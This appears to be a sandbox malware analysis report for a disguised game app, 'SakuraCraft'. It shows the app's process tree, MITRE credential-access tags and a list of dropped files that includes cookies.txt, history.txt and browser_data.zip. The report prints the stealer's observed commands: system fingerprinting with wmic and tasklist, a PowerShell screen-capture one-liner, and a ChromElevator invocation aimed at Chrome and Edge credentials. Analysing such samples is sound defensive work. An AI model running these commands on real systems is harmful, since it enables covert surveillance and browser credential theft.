C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1772,i,4319227575469381889,579845663146368029,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1768 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --field-trial-handle=1772,i,4319227575469381889,579845663146368029,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2196 /prefetch:32⤵
- Executes dropped EXE
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --app-path="C:\Program Files\SakuraCraft\resources\app.asar" --enable-sandbox --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1772,i,4319227575469381889,579845663146368029,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2452 /prefetch:12⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get manufacturer,product"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get manufacturer,product3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic systemenclosure get manufacturer"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic systemenclosure get manufacturer3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1872,i,15579157801927736047,5444913738704152958,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1868 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --field-trial-handle=1872,i,15579157801927736047,5444913738704152958,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2064 /prefetch:32⤵
- Executes dropped EXE
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --app-path="C:\Program Files\SakuraCraft\resources\app.asar" --enable-sandbox --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1776811732717927 --launch-time-ticks=696268689 --field-trial-handle=1872,i,15579157801927736047,5444913738704152958,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2460 /prefetch:12⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get manufacturer,product"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get manufacturer,product3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic systemenclosure get manufacturer"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic systemenclosure get manufacturer3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\SakuraCraft\resources\lib\ChromElevator.exe" all --kill"2⤵
-
C:\Program Files\SakuraCraft\resources\lib\ChromElevator.exe"C:\Program Files\SakuraCraft\resources\lib\ChromElevator.exe" all --kill3⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "ver"2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
chrome_100_percent.pak
verify.js
agent.js
base.css
manifest.json
powershell.exe.log
blocklist
settings.dat
settings.dat
BookmarkMergedSurfaceOrdering
the-real-index
the-real-index~RFe588f3b.TMP
SiteList-Enterprise.json
Edge Profile.ico
HubApps
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
CURRENT
MANIFEST-000001
805faff7-65a7-4b9e-8f54-f44ceea5a90b.tmp
Local State
Local State
Local State
Local State
Local State
Local State
metadata.json
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
02cbf836-1c62-4e76-a137-e33e8f076c3e.tmp
cookies.txt
cookies.txt
downloads.txt
history.txt
bookmarks.txt
history.txt
__PSScriptPolicyTest_453rl03e.ko2.ps1
browser_data.zip
browser_data.zip
LocalState_1776812368634.tmp
db_1776812347321_7so0y
db_1776812351373_9xj654
db_1776812361481_n2cry
db_1776812365514_kj4hnb
db_1776812438368_kfrguf
db_1776812440382_crs74
db_1776812452489_pmp3g
db_1776812454505_106qe
dbdaeea1-26ea-46ba-9e02-28c9d11204db.tmp
LICENSE.electron.txt
LICENSES.chromium.html
chrome_200_percent.pak
d3dcompiler_47.dll
dxcompiler.dll
dxil.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
af.pak
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
7x.sh
LICENSE.txt
index.js
7za
7za
7za
7za
build.sh
do-build.sh
7za
7za
package.json
7za.exe
7za.exe
7za.exe
esbuild.exe
package.json
LICENSE
index.js
app-builder
app-builder
app-builder
app-builder
app-builder
app-builder
app-builder_amd64
app-builder_arm64
package.json
app-builder.exe
app-builder.exe
app-builder.exe
index.js
package.json
node.napi.node
dpapi_addon.h
dpapi_not_supported.cpp
dpapi_win.cpp
main.cpp
LICENSE.txt
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.exp
koffi.lib
koffi.node
koffi.exp
koffi.lib
koffi.node
koffi.exp
koffi.lib
koffi.node
assets.ini
build.sh
develop.sh
pages.ini
highlight.js
koffi.css
koffi.png
logo.webp
perf_linux.png
perf_windows.png
print.css
code.html
page.html
index.js
base.hh
crc.inc
crc_gen.py
mimetypes.inc
mimetypes_gen.py
tower.hh
unicode.inc
unicode_gen.py
package.json
FindCNoke.cmake
toolchains.json
win_delay_hook.c
cnoke.js
package.json
builder.js
index.js
tools.js
CMakeLists.txt
raylib.cmake
sqlite3.cmake
package.json
app.js
index.html
preload.js
forge.config.js
package.json
index.css
main.js
renderer.js
webpack.main.config.js
webpack.renderer.config.js
webpack.rules.js
index.js
package.json
package.json
index.html
package.json
package.json
abi_arm32_asm.S
abi_arm64_asm.S
abi_arm64_asm.asm
abi_loong64_asm.S
abi_riscv64_asm.S
abi_x64_sysv_asm.S
abi_x64_win_asm.S
abi_x64_win_asm.asm
abi_x86_asm.S
abi_x86_asm.asm
call.hh
errno.inc
ffi.hh
init.js
parser.hh
armasm.inc
gnu.inc
masm32.inc
prototypes.inc
util.hh
uv.def
uv.hh
win32.hh
function_args.js
index.js
property_descriptor.js
common.gypi
eslint.config.js
except.gypi
index.js
napi-inl.deprecated.h
napi-inl.h
napi.h
node_addon_api.gyp
node_api.gyp
noexcept.gypi
package-support.json
package.json
release-please-config.json
check-napi.js
clang-format.js
conversion.js
binding-file-template.js
exceptions.js
generate-binding-cc.js
injectTestParams.js
listOfTestModules.js
matchModules.js
setup.js
spawnTask.js
test.js
LICENSE
js_native_api.def
node_api.def
js_native_api.h
js_native_api_types.h
node_api.h
node_api_types.h
uv.h
aix.h
bsd.h
darwin.h
errno.h
linux.h
os390.h
posix.h
sunos.h
threadpool.h
tree.h
unix.h
version.h
win.h
index.js
clang-utils.js
parse-utils.js
package.json
release-please-config.json
update-headers.js
write-symbols.js
write-win32-def.js
symbols.js
LICENSE
node_sqlite3.node
common-sqlite.gypi
extract.js
sqlite-autoconf-3440200.tar.gz
sqlite3.gyp
sqlite3-binding.js
sqlite3.js
trace.js
index.js
polyfill.js
get-options.js
node.js
owner.js
copy-file.js
LICENSE
index.js
polyfill.js
errors.js
fs.js
index.js
index.js
polyfill.js
mkdtemp.js
index.js
polyfill.js
with-temp-dir.js
write-file.js
package.json
LICENSE
abbrev.js
package.json
index.js
promisify.js
package.json
get.js
index.js
path.js
read.js
rm.js
write.js
entry-index.js
memoization.js
disposer.js
fix-owner.js
hash-to-segments.js
move-file.js
tmp.js
ls.js
package.json
put.js
rm.js
verify.js
agent.js
index.js
package.json
index.js
parse-proxy-response.js
package.json
index.js
package.json
LICENSE
agent.js
entry.js
errors.js
index.js
key.js
policy.js
fetch.js
index.js
options.js
remote.js
package.json
LICENSE
index.js
abort-error.js
blob.js
body.js
fetch-error.js
headers.js
index.js
request.js
response.js
package.json
LICENSE
index.js
package.json
LICENSE
constants.js
index.js
package.json
LICENSE
index.js
charset.js
encoding.js
language.js
mediaType.js
package.json
LICENSE
addon.gypi
node-gyp.js
.flake8
AUTHORS
LICENSE
gyp
gyp.bat
gyp_main.py
MSVSNew.py
MSVSProject.py
MSVSSettings.py
MSVSSettings_test.py
MSVSToolFile.py
MSVSUserFile.py
MSVSUtil.py
MSVSVersion.py
__init__.py
common.py
common_test.py
easy_xml.py
easy_xml_test.py
flock_tool.py
analyzer.py
android.py
cmake.py
compile_commands_json.py
dump_dependency_json.py
eclipse.py
gypd.py
gypsh.py
make.py
msvs.py
msvs_test.py
ninja.py
ninja_test.py
xcode.py
xcode_test.py
input.py
input_test.py
mac_tool.py
msvs_emulation.py
ninja_syntax.py
simple_copy.py
win_tool.py
xcode_emulation.py
xcode_ninja.py
xcodeproj_file.py
xml_fix.py
requirements_dev.txt
setup.py
test_gyp.py
README
README
gyp.pbfilespec
gyp.xclangspec
README
gyp-tests.el
gyp.el
run-unit-tests.sh
media.gyp
media.gyp.fontified
graphviz.py
pretty_gyp.py
pretty_sln.py
pretty_vcproj.py
Find-VisualStudio.cs
build.js
clean.js
configure.js
create-config-gypi.js
find-node-directory.js
find-python.js
find-visualstudio.js
install.js
list.js
node-gyp.js
process-release.js
rebuild.js
remove.js
util.js
macOS_Catalina_acid_test.sh
package.json
update-gyp.py
nopt.js
nopt.js
package.json
index.js
license
package.json
index.js
package.json
index.js
package.json
LICENSE
index.js
create.js
extract.js
get-write-flag.js
header.js
high-level-opt.js
large-numbers.js
list.js
mkdir.js
mode-fix.js
normalize-unicode.js
normalize-windows-path.js
pack.js
parse.js
path-reservations.js
pax.js
read-entry.js
replace.js
strip-absolute-path.js
strip-trailing-slashes.js
types.js
unpack.js
update.js
warn-mixin.js
winchars.js
write-entry.js
LICENSE
index.js
index.mjs
package.json
package.json
LICENSE
index.html
index.js.html
index.html
prettify.css
prettify.js
sort-arrow-sprite.png
sorter.js
index.js
package.json
LICENSE
index.js
package.json
package.json
async.h
backup.h
database.h
gcc-preinclude.h
macros.h
statement.h
threading.h
elevate.exe
2DGame.html
KittiesMC.html
Minecraft.html
NormalGame.html
VRChat.html
WatchTV.html
snapshot_blob.bin
v8_context_snapshot.bin
vk_swiftshader.dll
vk_swiftshader_icd.json
vulkan-1.dll
SpiderBanner.dll
StdUtils.dll
System.dll
WinShell.dll
nsExec.dll
nsis7z.dll
dda2c34b-3782-4bdd-84ec-63b303fae9c4.tmp
content_new.js
temp_nxqo1p.sqlite
temp_tp2eda.sqlite
default.dic
7dc49c82-b61a-4187-8476-985513fb5dea.tmp
Network Persistent State
Network Persistent State
Network Persistent State~RFe5a7bc9.TMP
memory/532-5374-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5368-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5370-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5369-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5380-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5379-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5378-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5377-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5376-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/532-5375-0x000001DD9AFB0000-0x000001DD9AFB1000-memory.dmp
memory/924-5407-0x000002148BE30000-0x000002148BEA9000-memory.dmp
memory/2664-5476-0x0000017AF7230000-0x0000017AF723C000-memory.dmp
memory/2776-878-0x0000000000760000-0x00000000007BF000-memory.dmp
memory/2776-5141-0x0000000000760000-0x00000000007BF000-memory.dmp
memory/2956-4478-0x00000000073E0000-0x0000000007476000-memory.dmp
memory/2956-4479-0x0000000007350000-0x0000000007361000-memory.dmp
memory/2956-4467-0x0000000006370000-0x00000000063BC000-memory.dmp
memory/2956-4482-0x0000000007480000-0x000000000749A000-memory.dmp
memory/2956-4477-0x0000000007010000-0x00000000070B3000-memory.dmp
memory/2956-4483-0x00000000073C0000-0x00000000073C8000-memory.dmp
memory/2956-4465-0x00000000057F0000-0x0000000005B44000-memory.dmp
memory/2956-4485-0x00000000026A0000-0x00000000026FF000-memory.dmp
memory/2956-4487-0x00000000063E0000-0x0000000006401000-memory.dmp
memory/2956-4486-0x0000000004DF0000-0x0000000004E0D000-memory.dmp
memory/2956-4469-0x000000006FA90000-0x000000006FADC000-memory.dmp
memory/2956-4480-0x0000000007380000-0x000000000738E000-memory.dmp
memory/2956-4481-0x0000000007390000-0x00000000073A4000-memory.dmp
memory/2960-5417-0x000002498E160000-0x000002498E16C000-memory.dmp
memory/3820-664-0x000000006FC30000-0x000000006FC7C000-memory.dmp
memory/3820-674-0x0000000004C40000-0x0000000004C9F000-memory.dmp
memory/3820-672-0x000000006FDF0000-0x0000000070144000-memory.dmp
memory/3820-662-0x0000000005BB0000-0x0000000005F04000-memory.dmp
memory/4384-5447-0x00000243E6940000-0x00000243E694C000-memory.dmp
memory/4836-5406-0x0000025F0BD10000-0x0000025F0BD89000-memory.dmp
memory/4952-5466-0x00000218264E0000-0x0000021826559000-memory.dmp
memory/5084-630-0x00000000071E0000-0x00000000071FA000-memory.dmp
memory/5084-628-0x0000000007090000-0x0000000007133000-memory.dmp
memory/5084-616-0x0000000005E90000-0x0000000005EAE000-memory.dmp
memory/5084-615-0x0000000005880000-0x0000000005BD4000-memory.dmp
memory/5084-607-0x0000000005810000-0x0000000005876000-memory.dmp
memory/5084-606-0x00000000057A0000-0x0000000005806000-memory.dmp
memory/5084-605-0x0000000005640000-0x0000000005662000-memory.dmp
memory/5084-604-0x0000000005010000-0x0000000005638000-memory.dmp
memory/5084-603-0x00000000048E0000-0x0000000004916000-memory.dmp
memory/5084-618-0x0000000006E20000-0x0000000006E52000-memory.dmp
memory/5084-627-0x0000000007060000-0x000000000707E000-memory.dmp
memory/5084-633-0x0000000007400000-0x0000000007424000-memory.dmp
memory/5084-632-0x00000000073D0000-0x00000000073FA000-memory.dmp
memory/5084-634-0x0000000070030000-0x0000000070384000-memory.dmp
memory/5084-631-0x0000000007250000-0x000000000725A000-memory.dmp
memory/5084-619-0x000000006FC30000-0x000000006FC7C000-memory.dmp
memory/5084-637-0x0000000004840000-0x000000000489F000-memory.dmp
memory/5084-617-0x0000000005EE0000-0x0000000005F2C000-memory.dmp
memory/5084-629-0x0000000007830000-0x0000000007EAA000-memory.dmp
memory/5152-4534-0x0000000002420000-0x000000000247F000-memory.dmp
memory/5152-4499-0x0000000005480000-0x00000000057D4000-memory.dmp
memory/5152-4501-0x000000006FA90000-0x000000006FADC000-memory.dmp
memory/5152-4535-0x0000000005260000-0x000000000527D000-memory.dmp
memory/5152-4536-0x0000000005F90000-0x0000000005FB1000-memory.dmp
memory/5160-5240-0x000001AF2C1A0000-0x000001AF2C1AC000-memory.dmp
memory/5160-5236-0x000001AF2DFC0000-0x000001AF2DFE2000-memory.dmp
memory/5216-4561-0x00000000069D0000-0x00000000069F1000-memory.dmp
memory/5216-4559-0x0000000003220000-0x000000000327F000-memory.dmp
memory/5216-4560-0x0000000005A20000-0x0000000005A3D000-memory.dmp
memory/5216-4550-0x000000006FA90000-0x000000006FADC000-memory.dmp
memory/5216-4548-0x00000000061F0000-0x0000000006544000-memory.dmp
memory/5408-5215-0x000001DA1C3B0000-0x000001DA1C429000-memory.dmp
memory/5532-4585-0x0000000005940000-0x000000000595D000-memory.dmp
memory/5532-4586-0x0000000006210000-0x0000000006231000-memory.dmp
memory/5532-4575-0x000000006FA90000-0x000000006FADC000-memory.dmp
memory/5532-4584-0x0000000002A10000-0x0000000002A6F000-memory.dmp
memory/5532-4573-0x0000000005B90000-0x0000000005EE4000-memory.dmp
memory/5668-5216-0x000001EB28410000-0x000001EB28489000-memory.dmp
memory/5712-5465-0x00000238FFA30000-0x00000238FFAA9000-memory.dmp